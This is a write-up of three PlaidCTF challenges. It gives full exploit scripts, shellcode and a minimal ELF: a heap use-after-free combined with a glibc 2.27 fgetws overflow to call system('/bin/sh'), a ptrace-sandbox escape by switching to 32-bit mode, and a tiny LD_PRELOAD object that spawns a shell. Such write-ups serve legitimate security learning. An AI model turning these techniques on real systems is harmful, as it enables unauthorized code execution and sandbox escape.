I played PlaidCTF in shibad0gs and reached 38th place.
I'm going to write up the challenges I solved during the CTF. I don't write about "YOU wa SHOCKWAVE" as I mostly guessed the flag. (It was about disassembling shockwave media --> finding input which satisfies 21 equations.)
- [Pwnable 250pts] EmojiDB (26 solves)
- [Pwnable 200pts] sandybox (54 solves)
- [Misc 250pts] golf.so 2 (104 solves)
Server: nc emojidb.pwni.ng 9876 File: emojidb-efd43c685db20b699d7d7ded996d7dc475fbd9c0d0b8da4597254d16810fe97f.tar.gz
It seems a heap-exploit challenge. The input is converted from UTF-8 to unicode. There're 4 choices:
- 🆕:Create and write a note. (Maximum 4 notes, but can make 5th note by bug.)
- 📖:Show a note. (Just checks the pointer and doesn't check
in_use
flag) - 🆓:Delete a note. (Set
in_use
flag to 0 but doesn't set the pointer to null.) - 🛑:Quit the program.
You can easily find UAF in show function.
Every note has in_use
flag and it's set to 1 when created, to 0 when deleted.
In show function doesn't check the flag, which causes UAF read.
However, the address is recognized as unicode and converted to UTF-8, then leaked.
I didn't know how to convert invalid unicode to the original byte array.
@aventador told me libc uses wcsnrtombs
to convert code.
I wrote the following script to convert unicode and UTF-8.
#include <stdio.h> #include <stdlib.h> #include <locale.h> #include <unistd.h> int main(int argc, char **argv) { int i; unsigned char out[0x10] = {0}; unsigned char in[0x10] = {0}; setlocale(0, "en_US.UTF-8"); if (argc < 2) { printf("Usage: %s [1|2]\n", argv[0]); return 1; } if (argv[1][0] == '1') { read(0, in, 0x10); mbstowcs((wchar_t*)out, in, 0x10); write(1, out, 8); } else { read(0, in, 8); wcstombs(out, (wchar_t*)in, 0x10); write(1, out, 0x10); } return 0; }
Leak is done, but how to pwn?
He also found a critical information about a bug in libc-2.27.
This bug was reported in December 2016 but fixed in February 2020. Here is a simple PoC:
#include <locale.h> #include <wchar.h> #include <stdlib.h> #include <stdio.h> int main(void) { setlocale(LC_ALL, "en_US.UTF-8"); wchar_t *buf = (wchar_t*)calloc(sizeof(wchar_t), 10); fgetws(buf, 10, stdin); exit(0); }
It doesn't seem vulnerable at first glance.
However, when we feed a large number of input in fgetws, it'll cause crash in _IO_wfile_sync
.
This is because fp->_wide_data->_IO_read_ptr - fp->_wide_data->_IO_read_end
can be negative.
fgetws
is used in the task too, but it doesn't cause crash because wscanf
is used after that, which cansumes the input buffer.
One more suspicious thing is 0xAE9.
When we give an invalid choice, it just prints "😱" usually.
If dword_2020E0
is not zero, it prints our input to stderr.
This is suspicious because there's no path to reach here normally.
We can reach here by creating 5th chunk and overwrite dword_2020E0
.
So, what to do is obvious.
We use _IO_wfile_sync
of stderr to cause overwrite.
As far as I experimented, the bug causes overflow in _IO_wide_data_1
.
Inside _IO_wide_data
is a function pointer.
I overwrote the pointer to system
and prepared /bin/sh
string in the place where rdi points, which is also in _IO_wide_data
.
My exploit:
from ptrlib import * import time def show(index): sock.sendlineafter(b"\xe2\x9d\x93", "\U0001f4d6".encode('utf-8')) sock.recv(9).decode('utf-8') sock.sendline(str(index)) return sock.recvline() def new(size, data): sock.sendafter(b"\xe2\x9d\x93", "\U0001f195".encode('utf-8')) sock.recv(9).decode('utf-8') sock.send(str(size)) sock.sendline(data) sock.recvline().decode('utf-8') def free(index): sock.sendlineafter(b"\xe2\x9d\x93", "\U0001f193".encode('utf-8')) sock.recv(9).decode('utf-8') sock.sendline(str(index)) sock.recvline().decode('utf-8') sock.recv(4*6).decode('utf-8') def flag(): sock.sendlineafter(b"\xe2\x9d\x93", "\U0001f6a9".encode('utf-8')) def end(): sock.sendlineafter(b"\xe2\x9d\x93", "\U0001f6d1".encode('utf-8')) def utf2uni(x): p = Process(["./convert", "1"]) p.send(x) y = p.recv() p.close() return y def uni2utf(x): p = Process(["./convert", "2"]) p.send(x) y = p.recv().rstrip(b'\x00') p.close() return y libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so") while True: sock = Socket("emojidb.pwni.ng", 9876) new(0x110, "A") new(0x10, "B") free(1) x = show(1).strip(b"\xf0\x9f\x86\x95\xf0\x9f\x93\x96\xf0\x9f\x86\x93\xf0\x9f\x9b\x91\xe2\x9d\x93\xf0\x9f\x98\xb1") if x[0] == ord('?'): logger.warn("Bad luck!") sock.close() continue libc_base = u64(utf2uni(x[:len(x)//2])) - libc.main_arena() - 0x60 logger.info("libc = " + hex(libc_base)) if libc_base < 0x7f0000000000: logger.warn("Bad luck!") sock.close() continue break IO_wide_data = libc_base + 0x3eb9e8 system = libc_base + libc.symbol('system') logger.info("IO_wide_data = " + hex(IO_wide_data)) logger.info("system = " + hex(system)) for i in range(4): new(3, "A") payload = b'A\0\0\0'*3 payload += (uni2utf(p64(IO_wide_data)[:4]) + uni2utf(p64(IO_wide_data)[4:])) * 2 for i in range(4): payload += (uni2utf(p64(IO_wide_data)[:4]) + uni2utf(p64(IO_wide_data)[4:])) * 2 payload += uni2utf(b'/bin') + uni2utf(b'/sh\0') payload += uni2utf(p64(system)[:4]) + uni2utf(b'\xfc\x7f\x00\x00') payload += uni2utf(b'\xfb\x7f\x00\x00') + uni2utf(b'\xfc\x7f\x00\x00') payload += b'2' * 10 print(payload) sock.sendlineafter(b"\xe2\x9d\x93", payload) sock.interactive()
Server: nc sandybox.pwni.ng 1337 File: sandbox
It's a ptrace sandbox. We can execute 10 bytes shellcode in the child process under some syscall restrictions. The following system calls are allowed:
- open: The length of filename must be less than 16 bytes. RSI must be O_RDONLY. Must not contain "flag", "proc", "sys" in the filename.
- alarm: RDI must be less than or equals to 20.
- mmap / mprotect / munmap: RSI (len) must be less than or equals to 0x1000.
- read / write / close / fstat / exit_group / exit / getpid: No restriction.
Our goal is open / read and write the contents of ./flag
.
A challenge from TokyoWestern CTF, Diary, hit my mind.
It was about bypassing seccomp by changing CS register in shellcode.
I checked 32-bit system call and BINGO!
fstat
is allowed and the number is 5, which is open
in 32-bit.
We can use retf
to change 64-bit to 32-bit.
I wrote the following shellcode that allocates buffer in 32-bit address space and reads next (32-bit) shellcode:
global _start _start: mov r9, 0 mov r8, -1 mov r10, 0x21 mov rdx, 7 mov rsi, 0x1000 mov rdi, 0x8880000 mov rax, 9 syscall mov rdi, 0x7770000 mov rax, 9 syscall mov rdx, 0x100 mov rsi, 0x7770000 xor edi, edi xor eax, eax syscall mov rsi, 0x7770800 xor eax, eax syscall xor rsp, rsp mov esp, 0x8880800 mov DWORD [esp+4], 0x23 mov DWORD [esp], 0x7770000 retf db 'EOF'
Then open the flag, read the contents, and return to 64-bit mode:
global _start: _start: xor eax, eax push eax mov eax, 0x67616c66 push eax xor edx, edx xor ecx, ecx mov ebx, esp mov eax, 5 int 0x80 mov edx, 0x100 mov ecx, esp mov ebx, eax mov eax, 3 int 0x80 push eax push eax mov DWORD [esp+4], 0x33 mov DWORD [esp], 0x7770800 retf mov eax, 1 int 0x80 hoge: db 'EOF'
Here is the exploit:
from ptrlib import * sock = Socket("sandybox.pwni.ng", 1337) shellcode = b'\xb2\xff' shellcode += b'\x48\x89\xde' shellcode += b'\x31\xc0' shellcode += b'\x0f\x05' shellcode += b'\x90' sock.sendafter("> ", shellcode) with open("shellcode.o", "rb") as f: f.seek(0x180) shellcode = f.read() shellcode = shellcode[:shellcode.index(b'EOF')] shellcode += b'\x90' * (0xff - len(shellcode)) sock.send(shellcode) with open("shellcode32.o", "rb") as f: f.seek(0x110) shellcode = f.read() shellcode = shellcode[:shellcode.index(b'EOF')] shellcode += b'\x90' * (0x100 - len(shellcode)) sock.send(shellcode) shellcode = b'\x48\xc7\xc2\x00\x01\x00\x00' shellcode += b'\x48\x89\xe6' shellcode += b'\x48\xc7\xc7\x01\x00\x00\x00' shellcode += b'\x48\xc7\xc0\x01\x00\x00\x00' shellcode += b'\x0f\x05' sock.send(shellcode) sock.interactive()
The challenge is to make a 64-bit shared object which executes "/bin/sh" when used like
$ LD_PRELOAD=golf.so /bin/true
@akiym wrote 223-byte binary and got the first flag. We needed to cut 30-byte off more in order to get the second flag.
I re-wrote akiym's binary to nasm format.
Then I found I could overlap FINI
to DYNAMIC
section, which dynamically reduces the size.
BITS 64 ORG 0x00000000 db 0x7f, "ELF" dd 0x010102 dd 0 dd 0 dw 3 dw 0x3e dd 1 db '/bin/sh', 0 dq 0x40 call b b: pop rdi sub rdi, 0x15 xchg esi, eax push rax jmp c dw 56 dw 2 c: push rdi push rsp mov al, 59 jmp d dd 1 dd 7 dq 0 dq 0 d: pop rsi xor edx, edx syscall nop nop nop dq 0x1d0 dq 0x1d0 dq 0x200000 dd 2 dd 7 dq 0xdeadbeefcafebabe dq 0x90 dq 0xd dq 0x28 dq 5 dq 0xdeadbeefcafebabe db 6
177 bytes.